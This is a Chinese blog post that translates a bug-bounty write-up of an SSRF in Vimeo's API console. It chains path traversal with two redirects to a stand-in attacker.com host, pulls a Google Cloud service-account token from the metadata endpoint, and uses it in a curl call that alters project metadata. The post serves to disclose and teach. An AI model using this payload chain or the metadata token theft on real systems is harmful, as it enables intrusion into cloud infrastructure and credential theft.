嗨呀，好久没写文章了呀，最近看到一篇不错的文章，漏洞挖掘思路很是值得学习
苦于原文是英文的，为了方便大家阅读，我索性给它翻译翻译...
目标站点为他们的API实现了一个API控制台，使用此控制台发出的请求是从服务器端完成的。 以下面的请求为例。
上图中的请求发出后，服务端会向https://api.vimeo.com/users/{user_id}/videos/{video_id}接口发送请求
除此之外，我们还能控制很多参数，你仔细看看上图中的参数
uri参数可以控制服务端请求的接口，在上图中我们让服务端请求/users/{user_id}/videos/{video_id}，其中user_id以及video_id是在segments参数中进行设置的
method参数可以控制服务端请求的方法（GET/POST）
params可以控制post请求的参数
一开始我尝试修改user_id以及video_id的值，想要让服务端访问任意接口
但是无论我怎么修改，响应都是403，可见，后端应该限制了只能访问特定的接口
但是，当我给video_id赋值为../../../时，发现可以路径穿越
当我发送这样的url到后端时：https://api.vimeo.com/users/1122/videos/../../../attacker
服务端将会向https://api.vimeo.com/attacker发起请求
猜测后端在处理前端传过去的接口时，应该做了类似URL.parse(“https://api.vimeo.com/users/1122/videos/../../../attacker”)这样的处理
从上图就可以看到，该请求返回了api.vimeo.com下的所有接口
（直接访问api.vimeo.com就会返回所有接口，所以可以证明，这里确实实现了路径穿越）
但是有了路径穿越又怎么样呢？
我们不还是在api.vimeo.com上吗，要怎么绕过才能请求到其他的域名呢?
嘿嘿嘿，这时候，我想起了30x跳转
如果能够在api.vimeo.com找到一个开放式重定向漏洞，不就可以ssrf到任意域名了吗
经过一番搜索，我发现了一处重定向，但是并不是开发式重定向
这处重定向可以把我们的请求重定向到vimeo.com的任意路径下
当我们访问
https://api.vimeo.com/m/something时会被重定向到https://vimeo.com/something
如下图所示：
这时候你可能会说了，这不还是不能ssrf到任意域名吗？
别着急，咱们继续在vimeo.com上找找开放式重定向漏洞，说不定有惊喜呢？
皇天不负有心人，还真被我找到了
由于涉及到厂商隐私，我不会透露此处开放式重定向的具体细节，假设它是这样的：
访问https://vimeo/vulnerable/open/redirect?url=https://attacker.com会直接跳转到attacker.com
ok，现在我们把上面几个重定向连起来，构造payload如下：
../../../m/vulnerable/open/redirect?url=https://attacker.com
把上面的值赋给video_id
后台收到的url就会变成下面这样
https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com
后台处理过后的url变成：
https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com
然后第一次重定向过后，服务器会去访问
https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com
再一次重定向，就会访问到https://attacker.com了
服务器接收json数据，并解析后返回到响应里
拿到shell
因为目标站点是部署在google云上，所以我决定先来访问一下google的metadata API，手法参考：
https://hackerone.com/reports/341876
访问http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json会返回服务账号的token
{ “headers”: [ “HTTP/1.1 200”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: 200, “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: 2631, “token_type”: “Bearer” } }
看下这个token的使用范围：
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA
Response:
{ "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" }
有了这个token，我们就可以做很多事了
比如把我的ssh public key上传到目标服务器上，然后用我的ssh private key进行连接
$ curl -X POST “https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]}
Response:
{ “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceMetadata”, “targetLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “10423XXXXXXXX-compute@developer.gserviceaccount.com”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"}
key成功添加：
但是，由于ssh端口仅对内网开放，我不能进一步操作，不过这也足以证明该漏洞的危害了...
